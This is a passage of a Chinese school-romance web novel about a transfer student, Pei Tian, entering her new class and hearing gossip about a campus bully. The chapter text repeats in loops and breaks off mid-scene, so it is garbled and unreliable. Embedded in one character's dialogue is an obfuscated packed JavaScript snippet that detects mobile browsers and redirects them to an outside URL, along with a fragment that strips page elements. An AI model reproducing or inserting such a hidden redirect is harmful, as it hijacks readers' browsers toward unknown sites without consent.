谭老师太了解她手底下这群兔崽子,直接无视他们,说:“安静点,别影响其他班上课。裴甜,你——先去坐那,”谭老师指了指倒数第三排左边的空位,又补充道,“过两周月考了再换位置。” 裴甜乖巧地应声,走到座位上,拿纸巾擦了擦桌椅,把书包放进去。 同桌是个女生,看她坐下就冲她笑,悄悄说:“我叫邓方悦,你名字是哪两个字啊?” 裴甜看了看进来上课的语文老师,拿出一只水性笔,在新书上写下自己的名字,悄悄翻给同桌看。 “噢,是这个甜啊?你名字好可爱喔。” 裴甜不习惯上课说话,但是刚转学,同桌这么热情,她不回答显得不礼貌,就看着邓方悦认真地小声说:“你也很可爱。” “噗。”邓方悦好像就等着她说这句话,一听见,立刻把书竖起来,挡住脸,笑得花枝乱颤。 裴甜也不知道她笑什么,茫然地看了她几眼,抿紧唇,转过头看黑板。 14班是普通班,课程跟裴甜之前的学校课程进度差不多,就快了一节课。 她之前在家的时候,已经提前预习过了,现在听起来一点不吃力。 就是很多同学可能因为新奇,上课的时候总是偷偷看她,老师好像也发现了,看她的眼神怪怪的,让她有点窘迫,一整节课耳尖都红得不行。 终于第一节课下课,裴甜看了下课程表,继续写作业,忽然桌子被人踢了一脚。 她捏紧笔,慢慢抬头看过去。 跟她并排、只隔着一条过道的男生侧坐在椅子上,面对她,脚还没收回去,搁在过道中间,吊儿郎当地冲她笑:“诶,新同学,你不是上周五教务处那个吗?我还以为你高一的呢,看着好小。” 裴甜不是很想理他,只冲他点点头,表示记得,又低头做题。 转学之前,她爸妈和于阿姨都跟她再三嘱咐过,说六中里面权贵子弟多,混起来老师都不敢管,让她别去惹。 而且她也不喜欢这种惹是生非的男生,一向都敬而远之的。 “新同学你叫什么来着?”男生偏兴致勃勃地贴上来。 “裴甜。”她头也不抬地说。 男生嬉皮笑脸的:“我叫何一昂,本班大佬,记住了吗。以后谁欺负你,就报我的名字,我罩你。” ……什么年代了,还有这种说法。 裴甜静静地偏头,奇怪地看着何一昂扬着下巴臭屁的样子,不知道该做什么反应。 认真地沉思了好几秒,她还是婉言谢绝:“不用了。” 邓方悦还探头出来说:“哎何一昂,我坐这这么久,怎么没见你说一句罩我?” “我罩你干嘛?又没人欺负你。” 旁边有几个男生看戏似的围过来,锤了他肩膀一拳:“昂子别祸害新同学了。” “我哪祸害了?我就跟人说了两句话。”何一昂不服气。 有个男生看了看裴甜,忽然压低了声音,挤眉弄眼地坏笑:“诶,这不野哥喜欢的类型吗。” “你还知道野哥喜欢什么类型呢?” “还能什么类型?漂亮胸大的呗。” “噗哈哈哈哈哈哈!”那个男生犹如废话一般地回答完,几个人全都心领神会,哄笑成一团。 何一昂笑够了,拿书啪地砸了砸桌子,一本正经地说:“你们别给我捣乱啊,上周五野哥说了,谁他都不感兴趣……” 这群男生聊天,看似压低了声音,但离得这么近,本来嗓门又大,所有的话全都一字不落地钻进裴甜耳朵里。 有些话虽然听不懂,但是她结合语境和他们的反应,也知道不是什么好话。 她抿了抿唇,假装没听见,收起作业,把下节课的书拿出来。 门口响起一阵骚动,裴甜下意识抬头,看见门口站了个长得格外清纯漂亮的女生,穿着一条及膝的百褶裙,眼神在教室里四处搜寻,好像在找人。 同桌扯了扯她的衣角。 她转过头,疑惑地看着邓方悦。 同桌满脸八卦地小声说:“看到门口那个穿裙子的女生了吗?” 裴甜认真地点头:“看到了。” “她叫童清欢,我们学校校花,文艺部部长,好看吧?“ 裴甜又点头:“好看。” 邓方悦听到她这么说,像是刚想起来,回头盯着她仔细看了几秒钟,说:“当然你转过来之后,她应该不是校花了。但是男生最吃她这一款你知道吧?” 裴甜没明白同桌是什么意思,茫然地摇头。 跟她说这个干嘛。 “哎呀,就是她看起来很清纯,长得人畜无害啊,漂亮又不漂亮得过分,好像谁都有机会,又会打扮,男生就喜欢这种的。知道了吧?” “知道了。”裴甜才明白,原来同桌就是单纯的想跟她说一下八卦。 她以为话题到此为止了,翻开书准备预习,邓方悦忽然又凑过来,悄悄说:“她现在是周野女朋友,周野你知道是谁吗?” 裴甜拿笔的手一顿。 这个名字。 怎么像一个魔咒一样,哪里都有他。 裴甜有点紧张地皱了下眉,很快松开,垂下浓密的睫毛,低声说:“不知道。” 邓方悦悄悄跟她说,“0班的大佬,六中就是他家开的,长得帅,又特有钱,以前跟人打架特别狠,现在都没有人敢惹他了。听说家里还有权,听说的啊,不知道是不是真的。” “那么厉害。”裴甜顺着同桌的话往下说,心不在焉地捏着荧光笔画重点。 “厉害啊,不过人也挺混的,换女朋友像换衣服,学校里最漂亮的那几个基本都是他前女友。”邓方悦的语气有点微妙,“其实现在也有挺多女生在追周野的,还有外校的来表白过。” “嗯。” 邓方悦离题万里,最后轻哼了一声,才说:“所以童清欢跟周野估计也好不了多久,我看她分手之后还怎么回寝室嘚瑟。” 裴甜没接话。 童清欢在门外站了一阵,终于看到被男生挡住了的何一昂,快步走过来问:“何一昂,周野呢?没来上课吗?” 何一昂看她一眼,笑着说:“哟,野哥这会儿在北城呢,下午回来,嫂子有事啊?” “胡聪豪他们找我,想让我跟周野说下,他以后不敢了,别找人搞他。” “卧槽,上次没把这孙子弄痛啊,还他妈敢威胁嫂子?”何一昂一拍桌子,说,“嫂子放心,野哥回来我就跟他说,这次非让他们见到你都绕道走。” 童清欢见他误会了,急忙说:“不是威胁,他们就是不敢找周野,一直给我送东西,我不要还硬塞给我。我看他们真挺怕的,你跟周野说一下吧。” 何一昂“哦”了一声,表情淡定下来,说:“行,这事嫂子别管了,他跟野哥之间有事,三言两语说不清楚。” “好吧。”童清欢咬了咬唇,“周野今晚过生日吗?” “过啊。怎么?” “能不能让他别带他那个游戏CP来?她来了,我算什么?” 何一昂和几个男生对视一眼,伸手抓了抓头发,问:”哪个游戏CP啊?” “晚安阿野。”童清欢说出这几个字,气得牙根儿痒痒。 听说开学前,他们去钱柜组局的时候,这个女的说她也想去,周野就同意了,把周野当时的女朋友气得摔门就走,周野也没去追。 第二天开学两人直接分手,不知道谁甩的谁。反正有了这种前车之鉴,童清欢就不想在聚会上看到这么个人。 何一昂耸肩:“这个你得跟野哥说啊,我们可不敢跟着瞎掺和。” 都是要叫嫂子的人,而且论起先来后到,晚安阿野做野哥CP都快一个月了,童清欢上周一才表白成功的。 他们实在也摸不清周野喜欢谁多一点,看着都挺冷淡,可以说就没见他什么时候对女生热情过。 “我打他电话打不通。” “噢,野哥他爷爷比较严肃,他到那可能就关机了,我们也打不通。”何一昂压根儿没打,但是替哥们儿打掩护这种事张口就来,言之凿凿地说,“嫂子别生气,等野哥下午回来,你再跟他当面说,我们一定帮你。” 童清欢还想让何一昂现在给周野打电话,但是上课铃声响了,她只好小跑出去。周一,朝阳从地平线升起,斜斜地铺在六中门外的湖面上,波光粼粼。 裴甜站在教务处门外的走廊上,手里拿着转学证和入学资料,安静地等老师来。 她的肌肤在日光下白得不真实,仿佛即将消融。 谭老师抱着教案走过来的时候,愣了几秒,心里感叹李主任确实有先见之明,这要是去0班,那不就是小白兔进了饿狼窝。 “裴甜是吧?”谭老师笑着说,“我记得你,跟我进来吧。” 裴甜乖巧地鞠了个躬,跟着谭老师进去登记。 谭老师填表的时候忽然问:“你这个底子,怎么不去学艺术啊?” 裴甜看着谭老师呆了呆,很快垂下眼,捏紧了背在后面的手指,说:“以前上过兴趣班,后面学不会,就没有上了。” “哦。”谭老师了然地点了点头,没有再多问。 长得好看但悟性不高是极平常的。 六中大得离谱,裴甜跟在谭老师后面,横穿操场,先去对面楼领了教材和校服,又转了好大一个圈,七拐八拐,才到了教学楼。 高二14班在六楼,爬上去的时候,已经上课了。 谭老师敲了敲门,带她进去,闹哄哄的教室瞬间安静,几十双眼睛齐刷刷地全看过来,好奇地盯着她。 裴甜大约一米六的个子,扎着高马尾,柔软的黑发一直垂到腰际,眼瞳乌黑湿润,衬着天生偏红的唇色和卷曲的碎发,又是瓜子脸,下巴尖细,有种咄咄逼人的鲜明惊艳,越看越觉得又纯又欲。 老师还没开口,底下躁动的男生已经按捺不住,开始兴奋地吹口哨起哄。 谭老师拍了拍手,示意大家安静,说:“这是我们班转来的新同学,裴甜,大家欢迎。” 同学们都很给面子,使劲鼓掌,教室里爆发出一阵热烈的掌声。 后排的几个男生一边鼓掌,一边不怀好意地嚷道:“老师,我这里刚好有空位,让新同学坐这啊!” “新同学坐我这,我特别会照顾新同学!” “你拉倒吧,你那垃圾堆,谁要坐你那!” “那可不是,别给人新同学熏得臭烘烘的。” 几个调皮的男生互相贫嘴,把全班都逗乐了。 谭老师太了解她手底下这群兔崽子,直接无视他们,说:“安静点,别影响其他班上课。裴甜,你——先去坐那,”谭老师指了指倒数第三排左边的空位,又补充道,“过两周月考了再换位置。” 裴甜乖巧地应声,走到座位上,拿纸巾擦了擦桌椅,把书包放进去。 同桌是个女生,看她坐下就冲她笑,悄悄说:“我叫邓方悦,你名字是哪两个字啊?” 裴甜看了看进来上课的语文老师,拿出一只水性笔,在新书上写下自己的名字,悄悄翻给同桌看。 “噢,是这个甜啊?你名字好可爱喔。” 裴甜不习惯上课说话,但是刚转学,同桌这么热情,她不回答显得不礼貌,就看着邓方悦认真地小声说:“你也很可爱。” “噗。”邓方悦好像就等着她说这句话,一听见,立刻把书竖起来,挡住脸,笑得花枝乱颤。 裴甜也不知道她笑什么,茫然地看了她几眼,抿紧唇,转过头看黑板。 14班是普通班,课程跟裴甜之前的学校课程进度差不多,就快了一节课。 她之前在家的时候,已经提前预习过了,现在听起来一点不吃力。 就是很多同学可能因为新奇,上课的时候总是偷偷看她,老师好像也发现了,看她的眼神怪怪的,让她有点窘迫,一整节课耳尖都红得不行。 终于第一节课下课,裴甜看了下课程表,继续写作业,忽然桌子被人踢了一脚。 她捏紧笔,慢慢抬头看过去。 跟她并排、只隔着一条过道的男生侧坐在椅子上,面对她,脚还没收回去,搁在过道中间,吊儿郎当地冲她笑:“诶,新同学,你不是上周五教务处那个吗?我还以为你高一的呢,看着好小。” 裴甜不是很想理他,只冲他点点头,表示记得,又低头做题。 转学之前,她爸妈和于阿姨都跟她再三嘱咐过,说六中里面权贵子弟多,混起来老师都不敢管,让她别去惹。 而且她也不喜欢这种惹是生非的男生,一向都敬而远之的。 “新同学你叫什么来着?”男生偏兴致勃勃地贴上来。 “裴甜。”她头也不抬地说。 男生嬉皮笑脸的:“我叫何一昂,本班大佬,记住了吗。以后谁欺负你,就报我的名字,我罩你。” ……什么年代了,还有这种说法。 裴甜静静地偏头,奇怪地看着何一昂扬着下巴臭屁的样子,不知道该做什么反应。 认真地沉思了好几秒,她还是婉言谢绝:“不用了。” 邓方悦还探头出来说:“哎何一昂,我坐这这么久,怎么没见你说一句罩我?” “我罩你干嘛?又没人欺负你。” 旁边有几个男生看戏似的围过来,锤了他肩膀一拳:“昂子别祸害新同学了。” “我哪祸害了?我就跟人说了两句话。”何一昂不服气。 有个男生看了看裴甜,忽然压低了声音,挤眉弄眼地坏笑:“诶,这不野哥喜欢的类型吗。” “你还知道野哥喜欢什么类型呢?” “还能什么类型?漂亮胸大的呗。” “噗哈哈哈哈哈哈!”那个男生犹如废话一般地回答完,几个人全都心领神会,哄笑成一团。 何一昂笑够了,拿书啪地砸了砸桌子,一本正经地说:“你们别给我捣乱啊,上周五野哥说了,谁他都不感兴趣……” 这群男生聊天,看似压低了声音,但离得这么近,本来嗓门又大,所有的话全都一字不落地钻进裴甜耳朵里。 有些话虽然听不懂,但是她结合语境和他们的反应,也知道不是什么好话。 她抿了抿唇,假装没听见,收起作业,把下节课的书拿出来。 门口响起一阵骚动,裴甜下意识抬头,看见门口站了个长得格外清纯漂亮的女生,穿着一条及膝的百褶裙,眼神在教室里四处搜寻,好像在找人。 同桌扯了扯她的衣角。 她转过头,疑惑地看着邓方悦。 同桌满脸八卦地小声说:“看到门口那个穿裙子的女生了吗?” 裴甜认真地点头:“看到了。” “她叫童清欢,我们学校校花,文艺部部长,好看吧?“ 裴甜又点头:“好看。” 邓方悦听到她这么说,像是刚想起来,回头盯着她仔细看了几秒钟,说:“当然你转过来之后,她应该不是校花了。但是男生最吃她这一款你知道吧?” 裴甜没明白同桌是什么意思,茫然地摇头。 跟她说这个干嘛。 “哎呀,就是她看起来很清纯,长得人畜无害啊,漂亮又不漂亮得过分,好像谁都有机会,又会打扮,男生就喜欢这种的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14824200|158765||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。知道了吧?” “知道了。”裴甜才明白,原来同桌就是单纯的想跟她说一下八卦。 她以为话题到此为止了,翻开书准备预习,邓方悦忽然又凑过来,悄悄说:“她现在是周野女朋友,周野你知道是谁吗?” 裴甜拿笔的手一顿。 这个名字。 怎么像一个魔咒一样,哪里都有他。 裴甜有点紧张地皱了下眉,很快松开,垂下浓密的睫毛,低声说:“不知道。” 邓方悦悄悄跟她说,“0班的大佬,六中就是他家开的,长得帅,又特有钱,以前跟人打架特别狠,现在都没有人敢惹他了。听说家里还有权,听说的啊,不知道是不是真的。” “那么厉害。”裴甜顺着同桌的话往下说,心不在焉地捏着荧光笔画重点。 “厉害啊,不过人也挺混的,换女朋友像换衣服,学校里最漂亮的那几个基本都是他前女友。”邓方悦的语气有点微妙,“其实现在也有挺多女生在追周野的,还有外校的来表白过。” “嗯。” 邓方悦离题万里,最后轻哼了一声,才说:“所以童清欢跟周野估计也好不了多久,我看她分手之后还怎么回寝室嘚瑟。” 裴甜没接话。 童清欢在门外站了一阵,终于看到被男生挡住了的何一昂,快步走过来问:“何一昂,周野呢?没来上课吗?” 何一昂看她一眼,笑着说:“哟,野哥这会儿在北城呢,下午回来,嫂子有事啊?” “胡聪豪他们找我,想让我跟周野说下,他以后不敢了,别找人搞他。” “卧槽,上次没把这孙子弄痛啊,还他妈敢威胁嫂子?”何一昂一拍桌子,说,“嫂子放心,野哥回来我就跟他说,这次非让他们见到你都绕道走。” 童清欢见他误会了,急忙说:“不是威胁,他们就是不敢找周野,一直给我送东西,我不要还硬塞给我。我看他们真挺怕的,你跟周野说一下吧。” 何一昂“哦”了一声,表情淡定下来,说:“行,这事嫂子别管了,他跟野哥之间有事,三言两语说不清楚。” “好吧。”童清欢咬了咬唇,“周野今晚过生日吗?” “过啊。怎么?” “能不能让他别带他那个游戏CP来?她来了,我算什么?” 何一昂和几个男生对视一眼,伸手抓了抓头发,问:”哪个游戏CP啊?” “晚安阿野。”童清欢说出这几个字,气得牙根儿痒痒。 听说开学前,他们去钱柜组局的时候,这个女的说她也想去,周野就同意了,把周野当时的女朋友气得摔门就走,周野也没去追。 第二天开学两人直接分手,不知道谁甩的谁。反正有了这种前车之鉴,童清欢就不想在聚会上看到这么个人。 何一昂耸肩:“这个你得跟野哥说啊,我们可不敢跟着瞎掺和。” 都是要叫嫂子的人,而且论起先来后到,晚安阿野做野哥CP都快一个月了,童清欢上周一才表白成功的。 他们实在也摸不清周野喜欢谁多一点,看着都挺冷淡,可以说就没见他什么时候对女生热情过。 “我打他电话打不通。” “噢,野哥他爷爷比较严肃,他到那可能就关机了,我们也打不通。”何一昂压根儿没打,但是替哥们儿打掩护这种事张口就来,言之凿凿地说,“嫂子别生气,等野哥下午回来,你再跟他当面说,我们一定帮你。” 童清欢还想让何一昂现在给周野打电话,但是上课铃声响了,她只好小跑出去。周一,朝阳从地平线升起,斜斜地铺在六中门外的湖面上,波光粼粼。 裴甜站在教务处门外的走廊上,手里拿着转学证和入学资料,安静地等老师来。 她的肌肤在日光下白得不真实,仿佛即将消融。 谭老师抱着教案走过来的时候,愣了几秒,心里感叹李主任确实有先见之明,这要是去0班,那不就是小白兔进了饿狼窝。 “裴甜是吧?”谭老师笑着说,“我记得你,跟我进来吧。” 裴甜乖巧地鞠了个躬,跟着谭老师进去登记。 谭老师填表的时候忽然问:“你这个底子,怎么不去学艺术啊?” 裴甜看着谭老师呆了呆,很快垂下眼,捏紧了背在后面的手指,说:“以前上过兴趣班,后面学不会,就没有上了。” “哦。”谭老师了然地点了点头,没有再多问。 长得好看但悟性不高是极平常的。 六中大得离谱,裴甜跟在谭老师后面,横穿操场,先去对面楼领了教材和校服,又转了好大一个圈,七拐八拐,才到了教学楼。 高二14班在六楼,爬上去的时候,已经上课了。 谭老师敲了敲门,带她进去,闹哄哄的教室瞬间安静,几十双眼睛齐刷刷地全看过来,好奇地盯着她。 裴甜大约一米六的个子,扎着高马尾,柔软的黑发一直垂到腰际,眼瞳乌黑湿润,衬着天生偏红的唇色和卷曲的碎发,又是瓜子脸,下巴尖细,有种咄咄逼人的鲜明惊艳,越看越觉得又纯又欲。 老师还没开口,底下躁动的男生已经按捺不住,开始兴奋地吹口哨起哄。 谭老师拍了拍手,示意大家安静,说:“这是我们班转来的新同学,裴甜,大家欢迎。” 同学们都很给面子,使劲鼓掌,教室里爆发出一阵热烈的掌声。 后排的几个男生一边鼓掌,一边不怀好意地嚷道:“老师,我这里刚好有空位,让新同学坐这啊!” “新同学坐我这,我特别会照顾新同学!” “你拉倒吧,你那垃圾堆,谁要坐你那!” “那可不是,别给人新同学熏得臭烘烘的。” 几个调皮的男生互相贫嘴,把全班都逗乐了。 谭老师太了解她手底下这群兔崽子,直接无视他们,说:“安静点,别影响其他班上课。裴甜,你——先去坐那,”谭老师指了指倒数第三排左边的空位,又补充道,“过两周月考了再换位置。” 裴甜乖巧地应声,走到座位上,拿纸巾擦了擦桌椅,把书包放进去。 同桌是个女生,看她坐下就冲她笑,悄悄说:“我叫邓方悦,你名字是哪两个字啊?” 裴甜看了看进来上课的语文老师,拿出一只水性笔,在新书上写下自己的名字,悄悄翻给同桌看。 “噢,是这个甜啊?你名字好可爱喔。” 裴甜不习惯上课说话,但是刚转学,同桌这么热情,她不回答显得不礼貌,就看着邓方悦认真地小声说:“你也很可爱。” “噗。”邓方悦好像就等着她说这句话,一听见,立刻把书竖起来,挡住脸,笑得花枝乱颤。 裴甜也不知道她笑什么,茫然地看了她几眼,抿紧唇,转过头看黑板。 14班是普通班,课程跟裴甜之前的学校课程进度差不多,就快了一节课。 她之前在家的时候,已经提前预习过了,现在听起来一点不吃力。 就是很多同学可能因为新奇,上课的时候总是偷偷看她,老师好像也发现了,看她的眼神怪怪的,让她有点窘迫,一整节课耳尖都红得不行。 终于第一节课下课,裴甜看了下课程表,继续写作业,忽然桌子被人踢了一脚。 她捏紧笔,慢慢抬头看过去。 跟她并排、只隔着一条过道的男生侧坐在椅子上,面对她,脚还没收回去,搁在过道中间,吊儿郎当地冲她笑:“诶,新同学,你不是上周五教务处那个吗?我还以为你高一的呢,看着好小。” 裴甜不是很想理他,只冲他点点头,表示记得,又低头做题。 转学之前,她爸妈和于阿姨都跟她再三嘱咐过,说六中里面权贵子弟多,混起来老师都不敢管,让她别去惹。 而且她也不喜欢这种惹是生非的男生,一向都敬而远之的。 “新同学你叫什么来着?”男生偏兴致勃勃地贴上来。 “裴甜。”她头也不抬地说。 男生嬉皮笑脸的:“我叫何一昂,本班大佬,记住了吗。以后谁欺负你,就报我的名字,我罩你。” ……什么年代了,还有这种说法。 裴甜静静地偏头,奇怪地看着何一昂扬着下巴臭屁的样子,不知道该做什么反应。 认真地沉思了好几秒,她还是婉言谢绝:“不用了。” 邓方悦还探头出来说:“哎何一昂,我坐这这么久,怎么没见你说一句罩我?” “我罩你干嘛?又没人欺负你。” 旁边有几个男生看戏似的围过来,锤了他肩膀一拳:“昂子别祸害新同学了。” “我哪祸害了?我就跟人说了两句话。”何一昂不服气。 有个男生看了看裴甜,忽然压低了声音,挤眉弄眼地坏笑:“诶,这不野哥喜欢的类型吗。” “你还知道野哥喜欢什么类型呢?” “还能什么类型?漂亮胸大的呗。” “噗哈哈哈哈哈哈!”那个男生犹如废话一般地回答完,几个人全都心领神会,哄笑成一团。 何一昂笑够了,拿书啪地砸了砸桌子,一本正经地说:“你们别给我捣乱啊,上周五野哥说了,谁他都不感兴趣……” 这群男生聊天,看似压低了声音,但离得这么近,本来嗓门又大,所有的话全都一字不落地钻进裴甜耳朵里。 有些话虽然听不懂,但是她结合语境和他们的反应,也知道不是什么好话。 她抿了抿唇,假装没听见,收起作业,把下节课的书拿出来。 门口响起一阵骚动,裴甜下意识抬头,看见门口站了个长得格外清纯漂亮的女生,穿着一条及膝的百褶裙,眼神在教室里四处搜寻,好像在找人。 同桌扯了扯她的衣角。 她转过头,疑惑地看着邓方悦。 同桌满脸八卦地小声说:“看到门口那个穿裙子的女生了吗?” 裴甜认真地点头:“看到了。” “她叫童清欢,我们学校校花,文艺部部长,好看吧?“ 裴甜又点头:“好看。” 邓方悦听到她这么说,像是刚想起来,回头盯着她仔细看了几秒钟,说:“当然你转过来之后,她应该不是校花了。但是男生最吃她这一款你知道吧?” 裴甜没明白同桌是什么意思,茫然地摇头。 跟她说这个干嘛。 “哎呀,就是她看起来很清纯,长得人畜无害啊,漂亮又不漂亮得过分,好像谁都有机会,又会打扮,男生就喜欢这种的。知道了吧?” “知道了。”裴甜才明白,原来同桌就是单纯的想跟她说一下八卦。 她以为话题到此为止了,翻开书准备预习,邓方悦忽然又凑过来,悄悄说:“她现在是周野女朋友,周野你知道是谁吗?” 裴甜拿笔的手一顿。 这个名字。 怎么像一个魔咒一样,哪里都有他。 裴甜有点紧张地皱了下眉,很快松开,垂下浓密的睫毛,低声说:“不知道。” 邓方悦悄悄跟她说,“0班的大佬,六中就是他家开的,长得帅,又特有钱,以前跟人打架特别狠,现在都没有人敢惹他了。听说家里还有权,听说的啊,不知道是不是真的。” “那么厉害。”裴甜顺着同桌的话往下说,心不在焉地捏着荧光笔画重点。 “厉害啊,不过人也挺混的,换女朋友像换衣服,学校里最漂亮的那几个基本都是他前女友。”邓方悦的语气有点微妙,“其实现在也有挺多女生在追周野的,还有外校的来表白过。” “嗯。” 邓方悦离题万里,最后轻哼了一声,才说:“所以童清欢跟周野估计也好不了多久,我看她分手之后还怎么回寝室嘚瑟。” 裴甜没接话。 童清欢在门外站了一阵,终于看到被男生挡住了的何一昂,快步走过来问:“何一昂,周野呢?没来上课吗?” 何一昂看她一眼,笑着说:“哟,野哥这会儿在北城呢,下午回来,嫂子有事啊?” “胡聪豪他们找我,想让我跟周野说下,他以后不敢了,别找人搞他。” “卧槽,上次没把这孙子弄痛啊,还他妈敢威胁嫂子?”何一昂一拍桌子,说,“嫂子放心,野哥回来我就跟他说,这次非让他们见到你都绕道走。” 童清欢见他误会了,急忙说:“不是威胁,他们就是不敢找周野,一直给我送东西,我不要还硬塞给我。我看他们真挺怕的,你跟周野说一下吧。” 何一昂“哦”了一声,表情淡定下来,说:“行,这事嫂子别管了,他跟野哥之间有事,三言两语说不清楚。” “好吧。”童清欢咬了咬唇,“周野今晚过生日吗?” “过啊。怎么?” “能不能让他别带他那个游戏CP来?她来了,我算什么?” 何一昂和几个男生对视一眼,伸手抓了抓头发,问:”哪个游戏CP啊?” “晚安阿野。”童清欢说出这几个字,气得牙根儿痒痒。 听说开学前,他们去钱柜组局的时候,这个女的说她也想去,周野就同意了,把周野当时的女朋友气得摔门就走,周野也没去追。 第二天开学两人直接分手,不知道谁甩的谁。反正有了这种前车之鉴,童清欢就不想在聚会上看到这么个人。 何一昂耸肩:“这个你得跟野哥说啊,我们可不敢跟着瞎掺和。” 都是要叫嫂子的人,而且论起先来后到,晚安阿野做野哥CP都快一个月了,童清欢上周一才表白成功的。 他们实在也摸不清周野喜欢谁多一点,看着都挺冷淡,可以说就没见他什么时候对女生热情过。 “我打他电话打不通。” “噢,野哥他爷爷比较严肃,他到那可能就关机了,我们也打不通。”何一昂压根儿没打,但是替哥们儿打掩护这种事张口就来,言之凿凿地说,“嫂子别生气,等野哥下午回来,你再跟他当面说,我们一定帮你。” 童清欢还想让何一昂现在给周野打电话,但是上课铃声响了,她只好小跑出去。周一,朝阳从地平线升起,斜斜地铺在六中门外的湖面上,波光粼粼。 裴甜站在教务处门外的走廊上,手里拿着转学证和入学资料,安静地等老师来。 她的肌肤在日光下白得不真实,仿佛即将消融。 谭老师抱着教案走过来的时候,愣了几秒,心里感叹李主任确实有先见之明,这要是去0班,那不就是小白兔进了饿狼窝。 “裴甜是吧?”谭老师笑着说,“我记得你,跟我进来吧。” 裴甜乖巧地鞠了个躬,跟着谭老师进去登记。 谭老师填表的时候忽然问:“你这个底子,怎么不去学艺术啊?” 裴甜看着谭老师呆了呆,很快垂下眼,捏紧了背在后面的手指,说:“以前上过兴趣班,后面学不会,就没有上了。” “哦。”谭老师了然地点了点头,没有再多问。 长得好看但悟性不高是极平常的。 六中大得离谱,裴甜跟在谭老师后面,横穿操场,先去对面楼领了教材和校服,又转了好大一个圈,七拐八拐,才到了教学楼。 高二14班在六楼,爬上去的时候,已经上课了。 谭老师敲了敲门,带她进去,闹哄哄的教室瞬间安静,几十双眼睛齐刷刷地全看过来,好奇地盯着她。 裴甜大约一米六的个子,扎着高马尾,柔软的黑发一直垂到腰际,眼瞳乌黑湿润,衬着天生偏红的唇色和卷曲的碎发,又是瓜子脸,下巴尖细,有种咄咄逼人的鲜明惊艳,越看越觉得又纯又欲。 老师还没开口,底下躁动的男生已经按捺不住,开始兴奋地吹口哨起哄。 谭老师拍了拍手,示意大家安静,说:“这是我们班转来的新同学,裴甜,大家欢迎。” 同学们都很给面子,使劲鼓掌,教室里爆发出一阵热烈的掌声。 后排的几个男生一边鼓掌,一边不怀好意地嚷道:“老师,我这里刚好有空位,让新同学坐这啊!” “新同学坐我这,我特别会照顾新同学!” “你拉倒吧,你那垃圾堆,谁要坐你那!” “那可不是,别给人新同学熏得臭烘烘的。” 几个调皮的男生互相贫嘴,把全班都逗乐了。 谭老师太了解她手底下这群兔崽子,直接无视他们,说:“安静点,别影响其他班上课。裴甜,你——先去坐那,”谭老师指了指倒数第三排左边的空位,又补充道,“过两周月考了再换位置。” 裴甜乖巧地应声,走到座位上,拿纸巾擦了擦桌椅,把书包放进去。 同桌是个女生,看她坐下就冲她笑,悄悄说:“我叫邓方悦,你名字是哪两个字啊?” 裴甜看了看进来上课的语文老师,拿出一只水性笔,在新书上写下自己的名字,悄悄翻给同桌看。 “噢,是这个甜啊?你名字好可爱喔。” 裴甜不习惯上课说话,但是刚转学,同桌这么热情,她不回答显得不礼貌,就看着邓方悦认真地小声说:“你也很可爱。” “噗。”邓方悦好像就等着她说这句话,一听见,立刻把书竖起来,挡住脸,笑得花枝乱颤。 裴甜也不知道她笑什么,茫然地看了她几眼,抿紧唇,转过头看黑板。 14班是普通班,课程跟裴甜之前的学校课程进度差不多,就快了一节课。 她之前在家的时候,已经提前预习过了,现在听起来一点不吃力。 就是很多同学可能因为新奇,上课的时候总是偷偷看她,老师好像也发现了,看她的眼神怪怪的,让她有点窘迫,一整节课耳尖都红得不行。 终于第一节课下课,裴甜看了下课程表,继续写作业,忽然桌子被人踢了一脚。 她捏紧笔,慢慢抬头看过去。 跟她并排、只隔着一条过道的男生侧坐在椅子上,面对她,脚还没收回去,搁在过道中间,吊儿郎当地冲她笑:“诶,新同学,你不是上周五教务处那个吗?我还以为你高一的呢,看着好小。” 裴甜不是很想理他,只冲他点点头,表示记得,又低头做题。 转学之前,她爸妈和于阿姨都跟她再三嘱咐过,说六中里面权贵子弟多,混起来老师都不敢管,让她别去惹。 而且她也不喜欢这种惹是生非的男生,一向都敬而远之的。 “新同学你叫什么来着?”男生偏兴致勃勃地贴上来。 “裴甜。”她头也不抬地说。 男生嬉皮笑脸的:“我叫何一昂,本班大佬,记住了吗。以后谁欺负你,就报我的名字,我罩你。” ……什么年代了,还有这种说法。 裴甜静静地偏头,奇怪地看着何一昂扬着下巴臭屁的样子,不知道该做什么反应。 认真地沉思了好几秒,她还是婉言谢绝:“不用了。” 邓方悦还探头出来说:“哎何一昂,我坐这这么久,怎么没见你说一句罩我?” “我罩你干嘛?又没人欺负你。” 旁边有几个男生看戏似的围过来,锤了他肩膀一拳:“昂子别祸害新同学了。” “我哪祸害了?我就跟人说了两句话。”何一昂不服气。 有个男生看了看裴甜,忽然压低了声音,挤眉弄眼地坏笑:“诶,这不野哥喜欢的类型吗。” “你还知道野哥喜欢什么类型呢?” “还能什么类型?漂亮胸大的呗。” “噗哈哈哈哈哈哈!”那个男生犹如废话一般地回答完,几个人全都心领神会,哄笑成一团。 何一昂笑够了,拿书啪地砸了砸桌子,一本正经地说:“你们别给我捣乱啊,上周五野哥说了,谁他都不感兴趣……” 这群男生聊天,看似压低了声音,但离得这么近,本来嗓门又大,所有的话全都一字不落地钻进裴甜耳朵里。 有些话虽然听不懂,但是她结合语境和他们的反应,也知道不是什么好话。 她抿了抿唇,假装没听见,收起作业,把下节课的书拿出来。 门口响起一阵骚动,裴甜下意识抬头,看见门口站了个长得格外清纯漂亮的女生,穿着一条及膝的百褶裙,眼神在教室里四处搜寻,好像在找人。 同桌扯了扯她的衣角。 她转过头,疑惑地看着邓方悦。 同桌满脸八卦地小声说:“看到门口那个穿裙子的女生了吗?” 裴甜认真地点头:“看到了。” “她叫童清欢,我们学校校花,文艺部部长,好看吧?“ 裴甜又点头:“好看。” 邓方悦听到她这么说,像是刚想起来,回头盯着她仔细看了几秒钟,说:“当然你转过来之后,她应该不是校花了。但是男生最吃她这一款你知道吧?” 裴甜没明白同桌是什么意思,茫然地摇头。 跟她说这个干嘛。 